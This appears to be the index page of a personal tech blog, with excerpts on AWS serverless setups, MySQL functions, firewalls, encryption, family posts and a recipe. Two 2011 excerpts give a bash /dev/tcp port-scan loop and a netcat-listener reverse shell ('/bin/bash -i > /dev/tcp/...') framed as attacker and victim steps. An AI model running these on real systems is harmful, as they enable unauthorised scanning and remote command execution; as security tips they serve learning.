Mark's Blargh

Flow vs. Impedance vs. Sabotage

Mon, 31 May 2021 10:20:16 -0400

Flow is impacted by many different factors, but the topics I'd like to touch on are communication, process, and culture. Communication In 1968, Conway observed: "Organizations which design systems are constrained to produce designs which are copies of the communication structures of these organizations." This is known as Conway’s law. Worded a bit differently: Organizations which design processes are constrained to produce a process flow which is a copy of the communication structures between departments.

2020

Thu, 05 Nov 2020 10:50:37 -0500

Bringing down the house... Awesome soccer skills... Boomy McBoomerangface Water fight Flippy Kimmy Aquadude Ferris wheel Stick figures Pictures! div.gallery { display: flex; flex-wrap: wrap; } div.gallery a { flex-grow: 1; object-fit: cover; margin: 2px; display: flex; } div.gallery a img { height: 200px; object-fit: cover; flex-grow: 1; }

Farewell Google Play Music - A tale in three acts...

Wed, 04 Nov 2020 22:23:20 -0500

Prologue: The death of a beloved friend... I've been an avid fan of Google Play Music for several years now, and when I heard it was being shutdown I was quite sad. It did exactly what I wanted, namely provide a way for me to easily stream my music collection and buy new tunes. I grew up buying physical things (first cassettes, then CDs), and the idea of renting my music collection never sat well with me.

Spring Boot/React - FullStack Project Template/Tutorial

Sun, 12 Apr 2020 15:58:27 -0400

Here's a Spring Boot project template/tutorial that I've put together to try to get some best practices codified on how to quickly throw together a service. Full code here for the impatient: https://github.com/marksteele/SpringBootReactFullStackSample Here's what it'll look like when we're done (note my amazing front-end skills) We'll cover: REST endpoints, scheduled tasks, thread-pools to parallelize work, React, MySQL, 12-factor app best practices, OAuth2 (google), monitoring, unit testing, code coverage, project mess detection, spotbugs, DevOps and more!

Parsing SFTP logs with Cloudwatch log Insights

Tue, 11 Feb 2020 10:32:18 -0500

This is a bit painful, but here it is: filter @message like /OPEN/ | parse @message /^(?<logstream>\S+)\s(?<Action>\S+)(\s(SourceIP=(?<SourceIP>\S+)\sUser=(?<User>\S+)\sHomeDir=(?<HomeDir>\S+)\sClient=(?<Client>("[^"]+?"|\S+))\sRole=.*|Path=(?<Path>\S+)\s((BytesIn=(?<BytesIn>\S+)|BytesOut=(?<BytesOut>\S+)|Mode=(?<Mode>\S+))|NewPath=(?<NewPath>\S+))))?$/ | sort @timestamp asc | display @timestamp, logstream, Action, SourceIP, User, HomeDir, Client, Path, BytesIn, Mode,BytesOut, NewPath You can remove the filter line in order to get all types of commands, or change the filter to narrow down your results.

Pro-tip: grep through terminal history

Wed, 23 Oct 2019 09:39:24 -0400

Might seem like a stupid little trick, but... On a mac, if you want to grep your terminal scrollback (as opposed to using search). command-a (select all), command-c (copy), then: 1 pbpaste | grep <WHAT YOU ARE LOOKING FOR>

Getting AWS IPs for a given region

Mon, 03 Jun 2019 17:02:39 -0400

I keep forgetting this... curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes\[] | select(.region=="ca-central-1") | .ip_prefix' | sort

TKD - Mikey blue belt grading

Sat, 01 Jun 2019 14:49:05 -0400

Preparation 2-on-1 Sparring Board breaking

Building an image gallery for Hugo

Sat, 09 Feb 2019 21:40:11 -0500

A quick image gallery for Hugo

String set manipulation functions for MySQL

Thu, 11 Oct 2018 10:10:05 -0400

While I really don't advise using comma-separated values inside text columns, sometimes you inherit things... Here's a way to check for set inclusion and how to manipulate those sets using SQL functions. drop function if exists IN_SET; drop function if exists ADD_TO_SET; drop function if exists REMOVE_FROM_SET; DELIMITER // CREATE FUNCTION IN_SET( $str TEXT, $strlist TEXT ) RETURNS BOOL DETERMINISTIC BEGIN DECLARE inset INT DEFAULT 0; SET inset = (SELECT FIND_IN_SET($str, $strlist)); RETURN (!

Summer 2018

Tue, 02 Oct 2018 22:49:29 -0400

One-time password sharing... securely!

Sat, 08 Sep 2018 21:56:19 -0400

Need to send a friend a password for something? Don't trust that the man might be reading your emails and SMS messages? Here's how to setup your own service to share secrets.

Look 'Ma, no training wheels...

Thu, 14 Jun 2018 22:07:37 -0400

3d Printing Safety - Fire detection relay

Wed, 30 May 2018 22:19:19 -0400

3d Printing Safety - Fire detection relay

I've been doing some 3d printing lately, and I have some thoughts to share about security and safety.

Envelope encryption in Lambda functions with DynamoDB and KMS

Thu, 03 May 2018 10:44:37 -0400

Here's a quick code snippet on how to implement field level encryption of data stored in DynamoDB using per-record encryption keys and the AWS Key management store (KMS).

Serverless content security policy

Fri, 27 Apr 2018 11:40:02 -0400

Add content security policy (CSP) to your site without changing your backends (or when you don't have backends and are using static site origins). Here's how!

Invalidate CloudFront with Lambda

Thu, 26 Apr 2018 13:48:12 -0400

I've written a little Serverless app that uses API Gateway and Lambda to expose an API to invalidate a CloudFront distribution. Handy to have something like this in a build pipeline. Code here

Programatically associating Lambda@Edge with a CloudFront distribution

Thu, 26 Apr 2018 12:10:31 -0400

Here's a little script which can be used to programatically associate Lambda@Edge functions with CloudFront.

Serverless blog HOWTO

Sun, 22 Apr 2018 12:36:25 -0400

Serverless content management

In this post, I will go over how to setup a completely serverless blog that runs with no servers and is for all intents and purposes free to run!

It leverages static content generation, will be served from a content delivery network, and has a browser based UI for managing content with a review/approval workflow.

It's also highly secure, as there is virtually no attack surface for the bad guys to get a hold of.

Bash Tips

Mon, 09 Apr 2018 13:50:47 -0400

Some odds and ends...

building a serverless analytics platform at lolscale

Wed, 04 Apr 2018 00:00:00 +0000

Hundreds of millions of events per month on the cheap

In this post, I'm going to go over the setup of infrastructure for creating an analytics platform capable of handling hundreds of millions of events per month. All without spinning up a single server.

benchmarking cinched

Fri, 12 Feb 2016 00:00:00 +0000

Now that a first version was cut, it seemed like a good time to start looking at how Cinched performs. And I must say, things are looking good so far... Test setup 3 nodes in the Cinched cluster (each 4 vCPUs 4GB RAM) 1 node running the test harness (4 vCPUs, 4GB RAM). My testing environment is extremely unreliable (VMs running in an overprovisioned cloud environment) so it's been hard to get an extremely clear picture.

introducing cinched

Thu, 04 Feb 2016 00:00:00 +0000

Given the frequency of rather embarrassing data breaches recently, I've had the opportunity to spend some time thinking about how to help developers protect the data they are storing. Getting encryption right is hard, and designing cryptographic applications is not something web developers typically have lots of experience with. To (hopefully) help bridge this knowledge gap, I've written a microservice which provides encryption and key management services. It's a cinch to use, and will keep your data cinched.

setting up a ca

Sat, 30 Jan 2016 00:00:00 +0000

Tired of creating your CA using openssl command line tools? Here's a whirlwind crash course on creating a functional web-based CA in a couple of minutes. Preparation I'm assuming you're running CentOS 7, because that's what I'm using. Also, the code is redhat-ish in that it's in the Fedora/RHEL pipeline and not terribly friendly to other distros as far as packaging goes. Also, I happen to like CentOS. We're going to be installing the Dogtag CA PKI solution.

security advice for the average joe

Fri, 13 Nov 2015 00:00:00 +0000

Introduction A computer lets you make more mistakes faster than any invention in human history - with the possible exception of handguns and tequila. --Mitch Ratliff The Internet has gone through a massive transformation since it's inception. From a tool used mostly by academics, it has come to be a pervasive tool used by just about everyone to communicate, shop, pay bills, invest, and entertain. While the use cases never cease to increase, one aspect of Internet usage that is rather problematic is educating the public about the risks involved in living a connected life, and what are the ways people can defend against attacks.

puppet lessons learned

Mon, 13 Apr 2015 00:00:00 +0000

Over the past couple of years my team has iterated several times on the proper way of managing systems using Puppet. For a while it was a gigantic time sink while we tested and prototyped several different appraoches to configuring things with many frustrating failures. This post will be an exploration of some of the lessons learned. Lesson #1: Puppet is not deterministic Yup, that's right. The tool you're trying to use to get all your servers to a deterministic state isn't very deterministic in resolving that state.

meshed vpn using tinc

Thu, 19 Mar 2015 00:00:00 +0000

Tinc is a neat little VPN daemon that I've recently come across. It is surprisingly simple to configure yet powerful. In this post, I'll show you how to setup a meshed VPN between four nodes with one of the servers acting as a DHCP server. In this fictitious scenario, let's assume the following nodes: dev is a CentOS cloud server with a fixed public IP address, we'll designate this one as our DHCP server

geo blocking with iptables/ipset

Fri, 13 Feb 2015 00:00:00 +0000

In this post, I'll go over how to use iptables and ipset to create a basic firewall with ssh brute force protection and geo-blocking. I'm assuming CentOS here, adjust paths/commands accordingly for other distributions. Ipset is a tool to create and maintain IP sets in the Linux kernel. The advantage of using ipset over setting up a bunch of individual rules is one of CPU utilization. Ipset can handle thousands of entries without CPU degradation, wheras introducing thousands of rules in iptables will have a noticeable impact on packet processing speeds.

Image gallery 2015

Thu, 01 Jan 2015 00:00:00 +0000

div.gallery { display: flex; flex-wrap: wrap; } div.gallery a { flex-grow: 1; object-fit: cover; margin: 2px; display: flex; } div.gallery a img { height: 200px; object-fit: cover; flex-grow: 1; }

pdi bag of tricks...

Mon, 20 Jan 2014 00:00:00 +0000

After using PDI for a while, you start to encounter some common problems. PDI crashes, databases die, connections get reset, all sorts of
interesting things can happen in complex systems.

As a general rule, when building PDI jobs that should behave monotonically I always strive to find a way to make a job re-playable and
idempotent. This can be tricky given an unlimited input set over time.

Probabilistic data structures to the rescue!

To do this, at work we created a PDI bloom filter step (thanks Fabio!). This article will go over how it works and it's use cases.

unserializing php from pdi

Fri, 10 Jan 2014 00:00:00 +0000

Here's a quick post that explains how to do something which may not be obvious.

The scenario: You've got some serialized data stored in a not-so-portable data interchange format (serialized PHP),
and would like the data to be made available as part of a PDI transformation.

building a datawarehouse for testing

Sat, 04 Jan 2014 00:00:00 +0000

Overview

A common problem when starting a new project is getting fixtures in place to facilitate testing of reporting functionality and refining data models. To ease this, I've created a PDI job that creates the dimension tables, and populates a fact table.

superdaddy

Sun, 15 Dec 2013 00:00:00 +0000

tcpdump tip viewing a packet stream data payload

Thu, 24 Oct 2013 00:00:00 +0000

Here is an alias that I've used often to view packet payloads using tcpdump which filters out all the overhead packets (just contains payloads). I usually stick the following lines into my .bashrc on all the servers I install. 1 2 3 alias tcpdump_http="tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' -A -s0" alias tcpdump_http_inbound="tcpdump 'tcp dst port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) !

i see packets...

Wed, 23 Oct 2013 00:00:00 +0000

While studying for the GCIA certification, I put together the following reference to be able to eyeball packets and see at a glance what's inside a hex packet dump.

complex event processing to detect click fraud

Sat, 19 Oct 2013 00:00:00 +0000

Here's another use-case for CEP: Detecting uniqueness over time. A use-case for this type of pattern is identifying click fraud.

Once more, to see how to get everything up and running, see my previous posts.

In our fictitious scenario, we're going to assume we want to see a stream of incoming data filtered to only output unique data given a subset of uniqueness over a 24 hour period.

complex event processing for fun and profit part deux

Sat, 15 Jun 2013 00:00:00 +0000

In the first instalment, we saw how to use simple moving average. That's just too easy.

Let's do something more complex to see how things pan out.

Refer to the previous instalment for details on how things are setup.

complex event processing for fun and profit

Mon, 10 Jun 2013 00:00:00 +0000

As an exercise to keep my mind nimble, here.s a write-up on how to use the power of computers to take over the world by out-foxing those slow moving meatbags who do stock trading and compete with skynet on making the most possible profit.

The pieces of this puzzle are:

A messaging backbone (we.ll use AMQP with the RabbitMQ broker)
A complex event processing engine (Esper)
A way to express our greed (EPL statements)
A software that ties this all together called new-hope (partially written by yours truly)
A feed of stock prices
An app to view the actions we must take.

creating forensic images

Thu, 04 Apr 2013 00:00:00 +0000

compressing mysql binary logs

Mon, 14 Jan 2013 00:00:00 +0000

Under normal circumstances, master servers in a replication can be setup to automatically rotate binary logs using the expire_logs_days my.cnf configuration setting.

However when it is known that slaves are in sync, it can be beneficial to pro-actively reduce on-disk size using compression. This can be especially useful in high-churn environments where binary logs grow quickly.

Grab the script:

`1`	`git clone git://github.com/marksteele/mysql-dba-tools.git`

calculating distances between coordinates in sql

Wed, 22 Aug 2012 00:00:00 +0000

The following stored functions can calculate the distance between two coordinates using a couple different approximation methods. The return value is in miles.

Haversine approximation

splenda candied walnuts

Sat, 04 Feb 2012 00:00:00 +0000

Ingredients: Enough walnuts to cover your baking sheet, let.s say 2 cups. About 3 cups of granulated Splenda Just enough allspice A good splash of vanilla extract 1 egg white Enough salt to make it salty (1/4 teaspoon maybe?) 2 tbsp melted butter Beat the egg until it.s thoroughly beat, and no longer offers resistance. Throw in everything else, mix it around. Line your baking sheet with foil, spray with pam.

building secure linux systems

Wed, 14 Dec 2011 00:00:00 +0000

In this post, I'm going to be documenting the process that I'm working on to build secure Linux systems.

What I'd like to have when I'm done:
- Selinux is ON and enforcing
- Is certifiable to a set of reasonable standards
- Can be deployed in an automated fashion
- Supports remediation if flaws against known good state found

port scanning wihtout a port scanner

Fri, 25 Nov 2011 00:00:00 +0000

Booya. For older bash versions 1 2 3 4 5 for i in $(seq 1 1 1024); do echo > /dev/tcp/10.10.10.10/$i; [ $? == 0 ] && echo $i >>/tmp/open.txt; done Same thing, newer bash versions 1 2 3 4 5 for i in {1..1024}; do echo > /dev/tcp/10.10.10.10/$i; [ $? == 0 ] && echo $i >>/tmp/open.txt; done

remote shell without any tools

Fri, 25 Nov 2011 00:00:00 +0000

Here's a method for opening up a TCP connection from one host to another without needing to install any tools. From the attacker machine, wait for a connection Wait for connections 1 nc -nlp 12345 From the victim Call home 1 /bin/bash -i > /dev/tcp/10.10.10.10/12345 0<&1 2>&1 The victim code will open up a connection the the attacker, allowing the attacker to run whatever bash commands he wants.

validating ip addresses in php

Mon, 14 Nov 2011 00:00:00 +0000

sample esp queries

Tue, 25 Oct 2011 00:00:00 +0000

Emit when something hasn't been seen in a while:

select 
  * 
from 
  NoitMetricNumeric.std:groupwin(uuid,name).win:time(5 minutes).std:lastevent().std:size() 
where 
  size = 0 group by uuid, name

fun with bloom filters using riak mapreduce

Wed, 14 Sep 2011 00:00:00 +0000

So I.ve been toying with some ideas on how to do large mapreduce jobs, and pushing the processing into Riak (Erlang) to make use of distributed processing and data-locality.

It took a while to figure out how to get this to work, but here it is.

security policy templates

Wed, 14 Sep 2011 00:00:00 +0000

NIST has a good list The department of the interior handbook to be quite a good and comprehensive resource. The CMS IS policy seems to be a good over-reaching policy for starting policy UCISA has a good toolkit

easy thumnail resizing

Sun, 29 May 2011 00:00:00 +0000

Download and install ImageMagick 1 2 3 4 5 cd path\to\images mkdir thumbs mkdir resized mogrify -path thumbs -thumbnail 100x100 *.JPG mogrify -path resized -resize 1024x768 *.JPG Done!

cloning systems

Sun, 17 Apr 2011 00:00:00 +0000

Grab partclone On both the server you want to image, and the server you want to restore to, boot a live usb that has netcat and partclone. I create my own using the gentoo LiveUSB install http://www.gentoo.org/doc/en/liveusb.xml, and copy the tools onto the usb stick. On target node: 1 nc -l -p 999 | partclone.ext4 -r -o /dev/sda2 On source node: 1 partclone.ext4 -c -s /dev/sda2 | nc 1.

converting avi files to flash video on windows xp

Thu, 06 Jan 2011 00:00:00 +0000

Step 1. Install ffmpeg. I believe I downloaded it from here There was issue with the installation. After installing it (in c:\windows I believe), I noticed that none of the presets worked. This is natively a linux app, and after a bit of poking around I saw that it was looking for the presets in /usr/local/share/ffmpeg. To fix this, I created that folder in the root of the disk I was using for the transcoding (X in my case), and put the preset files in there.

Mon, 01 Jan 0001 00:00:00 +0000

Father, Husband, Mentor, Crime Fighter, Inventor and Slayer of Chipmunks.